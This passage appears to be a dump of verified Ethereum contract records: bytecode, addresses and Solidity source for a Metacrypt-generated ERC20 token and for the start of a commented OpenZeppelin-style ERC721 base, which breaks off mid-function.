0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220426ac55b737cb67fe343f9a8be859bd921abb87b286c8d59e9b20d1e56c2af7964736f6c63430008070033
[ 5 ]
0xF23dF345226AcB11aA6D99bBabaA2D92885b6fDc
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; abstract contract MetacryptHelper { address private __target; string private __identifier; constructor(string memory __metacrypt_id, address __metacrypt_target) payable { __target = __metacrypt_target; __identifier = __metacrypt_id; payable(__metacrypt_target).transfer(msg.value); } function createdByMetacrypt() public pure returns (bool) { return true; } function getIdentifier() public view returns (string memory) { return __identifier; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./helpers/ERC20.sol"; import "./helpers/ERC20Capped.sol"; import "./helpers/ERC20Burnable.sol"; import "./helpers/ERC20Decimals.sol"; import "./helpers/ERC20Mintable.sol"; import "./helpers/ERC20Ownable.sol"; import "../service/MetacryptHelper.sol"; import "./helpers/TokenRecover.sol"; contract Metacrypt_B_TR_MB_NC_X is ERC20Decimals, ERC20Capped, ERC20Mintable, ERC20Burnable, ERC20Ownable, TokenRecover, MetacryptHelper { constructor( address __metacrypt_target, string memory __metacrypt_name, string memory __metacrypt_symbol, uint8 __metacrypt_decimals, uint256 __metacrypt_cap, uint256 __metacrypt_initial ) payable ERC20(__metacrypt_name, __metacrypt_symbol) ERC20Decimals(__metacrypt_decimals) ERC20Capped(__metacrypt_cap) MetacryptHelper("Metacrypt_B_TR_MB_NC_X", __metacrypt_target) { require(__metacrypt_initial <= __metacrypt_cap, "ERC20Capped: cap exceeded"); ERC20._mint(_msgSender(), __metacrypt_initial); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyOwner { super._mint(account, amount); } function _finishMinting() internal override onlyOwner { super._finishMinting(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@uniswap/v2-periphery/contracts/interfaces/IERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { uint256 private immutable _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor(uint256 cap_) { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./ERC20.sol"; abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./ERC20.sol"; abstract contract ERC20Mintable is ERC20 { bool private _mintingFinished = false; event MintFinished(); modifier canMint() { require(!_mintingFinished, "ERC20Mintable: minting is finished"); _; } function mintingFinished() external view returns (bool) { return _mintingFinished; } function mint(address account, uint256 amount) external canMint { _mint(account, amount); } function finishMinting() external canMint { _finishMinting(); } function _finishMinting() internal virtual { _mintingFinished = true; emit MintFinished(); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; abstract contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "ERC20Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "ERC20Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@uniswap/v2-periphery/contracts/interfaces/IERC20.sol"; import "./ERC20Ownable.sol"; contract TokenRecover is ERC20Ownable { function recoverToken(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a9059cbb1161007c578063a9059cbb146102dd578063aa23e03d146102f0578063b29a8140146102f8578063c2e7d95c1461030b578063dd62ed3e14610312578063f2fde38b1461034b57600080fd5b8063715018a61461027657806379cc67901461027e5780637d64bcb4146102915780638da5cb5b1461029957806395d89b41146102c2578063a457c2d7146102ca57600080fd5b8063313ce56711610115578063313ce567146101bb578063355274ea146101ec578063395093511461021257806340c10f191461022557806342966c681461023a57806370a082311461024d57600080fd5b806305d2035b1461015257806306fdde031461016e578063095ea7b31461018357806318160ddd1461019657806323b872dd146101a8575b600080fd5b60055460ff165b60405190151581526020015b60405180910390f35b61017661035e565b6040516101659190610f66565b610159610191366004610fd7565b6103f0565b6002545b604051908152602001610165565b6101596101b6366004611001565b610406565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000010168152602001610165565b7f00000000000000000000000000000000000000000000d3c21bcecceda100000061019a565b610159610220366004610fd7565b6104bc565b610238610233366004610fd7565b6104f3565b005b61023861024836600461103d565b610524565b61019a61025b366004611056565b6001600160a01b031660009081526020819052604090205490565b610238610531565b61023861028c366004610fd7565b6105b1565b610238610639565b60055461010090046001600160a01b03166040516001600160a01b039091168152602001610165565b610176610666565b6101596102d8366004610fd7565b610675565b6101596102eb366004610fd7565b610710565b61017661071d565b610238610306366004610fd7565b61072c565b6001610159565b61019a610320366004611078565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610238610359366004611056565b610803565b60606003805461036d906110ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610399906110ab565b80156103e65780601f106103bb576101008083540402835291602001916103e6565b820191906000526020600020905b8154815290600101906020018083116103c957829003601f168201915b5050505050905090565b60006103fd3384846109e3565b50600192915050565b6000610413848484610b08565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561049d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104b185336104ac86856110fc565b6109e3565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103fd9185906104ac908690611113565b60055460ff16156105165760405162461bcd60e51b81526004016104949061112b565b6105208282610ce0565b5050565b61052e3382610d1a565b50565b6005546001600160a01b036101009091041633146105615760405162461bcd60e51b81526004016104949061116d565b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60006105bd8333610320565b90508181101561061b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604482015263616e636560e01b6064820152608401610494565b61062a83336104ac85856110fc565b6106348383610d1a565b505050565b60055460ff161561065c5760405162461bcd60e51b81526004016104949061112b565b610664610e69565b565b60606004805461036d906110ab565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156106f75760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610494565b61070633856104ac86856110fc565b5060019392505050565b60006103fd338484610b08565b60606007805461036d906110ab565b6005546001600160a01b0361010090910416331461075c5760405162461bcd60e51b81526004016104949061116d565b816001600160a01b031663a9059cbb6107836005546001600160a01b036101009091041690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156107cb57600080fd5b505af11580156107df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063491906111b2565b6005546001600160a01b036101009091041633146108335760405162461bcd60e51b81526004016104949061116d565b6001600160a01b03811661089d5760405162461bcd60e51b815260206004820152602b60248201527f45524332304f776e61626c653a206e6577206f776e657220697320746865207a60448201526a65726f206164647265737360a81b6064820152608401610494565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03821661095a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610494565b806002600082825461096c9190611113565b90915550506001600160a01b03821660009081526020819052604081208054839290610999908490611113565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610494565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610494565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610494565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610494565b6001600160a01b03831660009081526020819052604090205481811015610c465760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610494565b610c5082826110fc565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610c86908490611113565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cd291815260200190565b60405180910390a350505050565b6005546001600160a01b03610100909104163314610d105760405162461bcd60e51b81526004016104949061116d565b6105208282610ea1565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610494565b6001600160a01b03821660009081526020819052604090205481811015610dee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610494565b610df882826110fc565b6001600160a01b03841660009081526020819052604081209190915560028054849290610e269084906110fc565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610afb565b6005546001600160a01b03610100909104163314610e995760405162461bcd60e51b81526004016104949061116d565b610664610f2e565b7f00000000000000000000000000000000000000000000d3c21bcecceda100000081610ecc60025490565b610ed69190611113565b1115610f245760405162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a20636170206578636565646564000000000000006044820152606401610494565b6105208282610904565b6005805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a1565b600060208083528351808285015260005b81811015610f9357858101830151858201604001528201610f77565b81811115610fa5576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610fd257600080fd5b919050565b60008060408385031215610fea57600080fd5b610ff383610fbb565b946020939093013593505050565b60008060006060848603121561101657600080fd5b61101f84610fbb565b925061102d60208501610fbb565b9150604084013590509250925092565b60006020828403121561104f57600080fd5b5035919050565b60006020828403121561106857600080fd5b61107182610fbb565b9392505050565b6000806040838503121561108b57600080fd5b61109483610fbb565b91506110a260208401610fbb565b90509250929050565b600181811c908216806110bf57607f821691505b602082108114156110e057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561110e5761110e6110e6565b500390565b60008219821115611126576111266110e6565b500190565b60208082526022908201527f45524332304d696e7461626c653a206d696e74696e672069732066696e697368604082015261195960f21b606082015260800190565b60208082526025908201527f45524332304f776e61626c653a2063616c6c6572206973206e6f74207468652060408201526437bbb732b960d91b606082015260800190565b6000602082840312156111c457600080fd5b8151801515811461107157600080fdfea2646970667358221220437db847dc9b10e2977c656a2b78db6fd8bbf807aebede54f9053caff8056b4064736f6c63430008090033
[ 16 ]
0xf23ef3e2e9ac882a2e9b41e2fe60ea12df59bbb1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* Fully commented standard ERC721 Distilled from OpenZeppelin Docs Base for Building ERC721 by Martin McConnell All the utility without the fluff. */ interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { //@dev Emitted when `tokenId` token is transferred from `from` to `to`. event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); //@dev Emitted when `owner` enables `approved` to manage the `tokenId` token. event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); //@dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. event ApprovalForAll(address indexed owner, address indexed operator, bool approved); //@dev Returns the number of tokens in ``owner``'s account. function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from,address to,uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; //@dev Returns if the `operator` is allowed to manage all of the assets of `owner`. function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Metadata is IERC721 { //@dev Returns the token collection name. function name() external view returns (string memory); //@dev Returns the token collection symbol. function symbol() external view returns (string memory); //@dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view 